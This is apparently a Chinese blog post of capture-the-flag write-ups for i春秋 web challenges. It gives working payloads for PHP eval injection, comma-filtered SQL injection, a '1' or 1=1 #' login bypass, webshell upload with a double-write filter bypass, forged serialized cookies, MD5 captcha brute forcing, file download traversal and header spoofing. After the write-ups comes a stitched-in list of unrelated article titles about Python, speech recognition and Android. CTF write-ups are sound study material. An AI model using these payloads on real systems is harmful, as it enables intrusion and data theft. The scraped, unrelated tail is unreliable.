I春秋刷题 WEB篇

一、爆破-1

题目内容:flag就在某六位变量中。

include "flag.php";

$a = @$_REQUEST['hello'];

if(!preg_match('/^\w*$/',$a )){

die('ERROR');

}

eval("var_dump($$a);");

show_source(__FILE__);

?>

解答:

preg_match('/^\w*$/',$a ) 过滤所有小写字母,通过大写字母绕过

eval("var_dump($$a);"); 加上题目解释联想到_SERVER、_COOKIE等变量,测试可以通过,测试GLOABLES,可以打印出全部变量

二、爆破-2

题目内容:flag不在变量中/

include "flag.php";

$a = @$_REQUEST['hello'];

eval( "var_dump($a);");

show_source(__FILE__);

解答

允许function运行

payload:hello=file_get_contents('flag.php')

三、爆破-3

题目内容:这次是真的爆破

error_reporting(0);

session_start();

require('./flag.php');

if(!isset($_SESSION['nums'])){

$_SESSION['nums'] = 0;

$_SESSION['time'] = time();

$_SESSION['whoami'] = 'ea';

}

if($_SESSION['time']+120

session_destroy();

}

$value = $_REQUEST['value'];

$str_rand = range('a', 'z');

$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){

$_SESSION['nums']++;

$_SESSION['whoami'] = $str_rands;

echo $str_rands;

}

if($_SESSION['nums']>=10){

echo $flag;

}

show_source(__FILE__);

?>

解答:

120秒内完成,第一次

_session['whoami'],同时会在页面显示,将显示的值通过palyload:?value[]=xx;连续10次即可得到flag。

四、web upload

想怎么传就怎么传,就是这么任性

打开页面,发现允许上传任何文件,上传后又回显,打开上传文件,选择查看源代码,发现过滤被替换了了php和

构建webshell; ,采取双写绕过php,然后菜刀直接获取shell权限。

五、Web Code

考脑洞,你能过么?

目录扫描发现.idea目录,位phpstrom的临时目录,查看发现fl3g_ichuqiu.php,config.php

通过?jpg=hei.jpg,确认是文件包含,将hei.jpg修改位index.php可以获取index.php的base64文件内容,解密可以看到正则过滤,其中将config过滤位_,因此可以同构拼接字符串fl3gconfigichuqiu.php获取到fl3g_ichuqiu.php的内容。

发现fl3g_ichuqiu.php文件包含两个加密和解密函数,通过分析,获取到了需要在cookie中将system和key加密后上传,服务器解密匹配好即可获取flag,相关代码:

function ss1($txt,$m){

for($i=0;$i

$tmp .= chr(ord($m[$i])+10);

}

$m=$tmp;

$tmp='';

$txt=base64_decode($txt);

$rnd = substr($txt,0,4);

$txt = substr($txt,4);

for($i=0;$i

$key .= $txt[$i] ^ $m[$i];

}

$s='0123456789abcdef';

$txt1='system';

for($i=0;$i

$tmp .= chr(ord($txt1[$i])+10);

}

$txt1=$tmp;

$tmp='';

for($i=0;$i<16;$i++){

$tmp = $key.$s[$i];echo $tmp;

for($ii=0;$ii

$txt2 .= $txt1[$ii] ^ $tmp[$ii];

}

echo base64_encode($rnd.$txt2).'';

$txt2='';

}

}

ss('OTFkdUlMXEhO','guest');

六 WEB sqli

题目真正的入库:l0gin.php?id=1

通过测试,发现程序屏蔽了,号,采用join的方式进行绕过,payload如下:

-1' union select * from (select database()) a join (select version() ) b %23 #屏蔽了逗号的情况下使用,对select database()进行替换即可,例如

-1‘ union select * from (select column_name from information_schema.columns where table_schema=database() and table_name='users') a join (select version() ) b %23

-1' union select * from (select group_concat(flag_9c861b688330) from users) a join (select version() ) b %23

七 web login

打开登录页面,查看源代码发现test1 test1,用于登录,成功来到下一个页面。

发现没有任何提示,bp抓包,发现show=0,将其改为show=1成功得到源代码

审计发现只需要$login['user']==='ichunqiu',即可得到flag

构造payload:

$db=array('user'=>'ichunqiu');

echo base64_encode(gzcompress(serialize($db)));

将起放入cookie发送,即可得到flag

array_merge()如果又同命变量,会用后一个覆盖前一个变量,cookie是最后一个采用的所以放入cookie发送。

八 web getFlag

打开页面,点击login登录,会提示substr(md5(captcha), 0, 6)=f60728,这个值是随机的,所以每次刷新会改变,通过python碰撞前6位,代码如下:

import hashlib

head = '3a01cb'

for i in range(10000,10000000):

catch = i

val = hashlib.md5(str(catch)).hexdigest()

if val[0:6] == head:

print i

break;

用户名通过万能密码1' or 1=1 # 绕过即可登录。

登录后,点击a.php,可以得到提示,得知flag.php在根目录下,通过download.php?file=flag.php可以下载flag.php得到具体源码。

查看源码,POST提交flag=flag;即可获取flag。

九 web Not Found

打开页面,显示Not Found,查看相应头,发现X-Methods:haha,google查询X-Methods,可以查询到http的请求又如下几种:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Methods

挨个尝试,直到options的时候,返回?f=1.php

带入url,发现返回 not here plz trying,dirsearch扫描存在.htacess文件,访问?f=.htacess文件,发现存在一个html的页面跳转。

直接访问html页面,发现XFF提示,请求头部加入X-Forwarded-For:127.0.0.1,但依然提示错误, google继续,发现存在client-ip选项,加入,获得flag

i春秋python_I春秋刷题 WEB篇相关推荐

  1. 20220129CTF刷题-- WEB方向

    20220129CTF刷题-- WEB方向-新手级别 刷题网站:攻防世界 这题其实就是爆破,没什么特别的 随便尝试被告知要以admin登陆 admin登陆之后(随便输一个密码),又弹出密码错误,但是查 ...

  2. 20220203--CTF刷题WEB方向-- PHP2--考察URL编码解码和修改php后缀为phps

    刷题网站:攻防世界 https://adworld.xctf.org.cn/ WEB方向–进阶场–第3题–PHP2 网站右键查看源代码什么都没有 端口扫描:(在这里我用了御剑扫描,并且字典全选了) 访 ...

  3. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  4. 剑指offer刷题笔记-篇2

    文章目录 剑指offer 前言 机器人的运动范围 剪绳子 二进制中1的个数 数值的整数次方 从1到n的位数 移除链表元素 删除链表中重复的结点 *正则表达式匹配 *表示数值的字符串 调整数组顺序 链表 ...

  5. i春秋python_i春秋CTF web题(1)

    之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...

  6. 刷题——Python篇(2)类型转换

    继续在牛客网 练习Python题. 第二章是类型转换. 将x转换成其它类型的一般方法是y = 类型(x), 如y = int(x) 下面看具体的题目 7 小数化整数 输入:一个浮点小数. 输出:将其强 ...

  7. 【数据库与SQL】力扣刷题SQL篇(7)

    文章目录 1.每位学生的最高成绩 2.每日新用户统计 3.小众书籍 4.游戏玩法分析 V 5. 查询活跃业务 6.用户购买平台 7.报告的记录 II 8.查询近30天活跃用户数 9.过去30天的用户活 ...

  8. LintCode刷题(入门篇)

    最近在玩LintCode上面的算法题.下面分享一下部分题目的答案.如果其他同学有更好的答案,可以和我交流讨论,本人菜鸟一个,各位大佬多指点. 同时说一下,这个上面的二叉树 和 链表 我不懂,所以这类题 ...

  9. 牛客网刷题 入门篇 基础语法

    VL1 四选一多路器 四选一多路器_牛客题霸_牛客网 `timescale 1ns/1ns module mux4_1( input [1:0]d1,d2,d3,d0, input [1:0]sel, ...

最新文章

  1. 二分法:二分查找(递归+非递归)实现
  2. CTFshow 信息收集 web11
  3. TCP的定时器系列 — 超时重传定时器(有图有代码有真相!!!)
  4. IO模式设置,阻塞与非阻塞的比较,recv参数对性能的影响—O_NONBLOCK(open使用)、IPC_NOWAIT(msgrcv)、MSG_DONTWAIT
  5. MySQL高并发事务问题
  6. 微信公众号 分享接口 签名通过 分享无效果(JSSDK自定义分享接口的策略调整)...
  7. 密码学-代数数论基本知识
  8. AFM测试探针简介-科学指南针
  9. android 5.0 lg g2,升级到Android 5.0 的LG G2怎样Root?
  10. 2017CNCC会议总结(一)
  11. 看了几个技术入股的帖子,忍不住写个自己亲身经历吧
  12. 看京东和淘宝的地址薄设计----填写订单的场景下
  13. 什么是DDL和DML语句?
  14. ORA-02292_主表在有子表外键约束的情况,如何快速批量删除和插入数据?
  15. 极简主义!让手机壁纸,惊现高级脸Feel~
  16. linux中的链路聚合之team方式
  17. 浅谈列控系统的阶梯式分级速度控制中专有名词的表述问题
  18. linux系统ata1.00,由于断电,重启服务器后,LVM卷组出现错误:ata1.00 status drdy err unc...
  19. 2017CSDN博客排名第一名,今何处?
  20. Excel-引用其它位置的数据和自动更新

热门文章

  1. 威纶通组态屏对Codesys标签支持的局限性
  2. 用Qt写一个简单的音乐播放器(四):歌曲浏览、上一曲、下一曲
  3. python语言的数据类型的例题_Python_数据类型练习题
  4. AVI视频格式分析前奏-RIFF
  5. SPI总线中CS信号的处理
  6. 企业做软文发布怎么选择合适的门户网站?
  7. 关于数字电视用到的服务器介绍
  8. 语音识别之HTK入门(三)——单音素单高斯模型
  9. android通知栏快捷设置开发,即添加快捷磁贴指北
  10. linux 设置开机启动项两种方式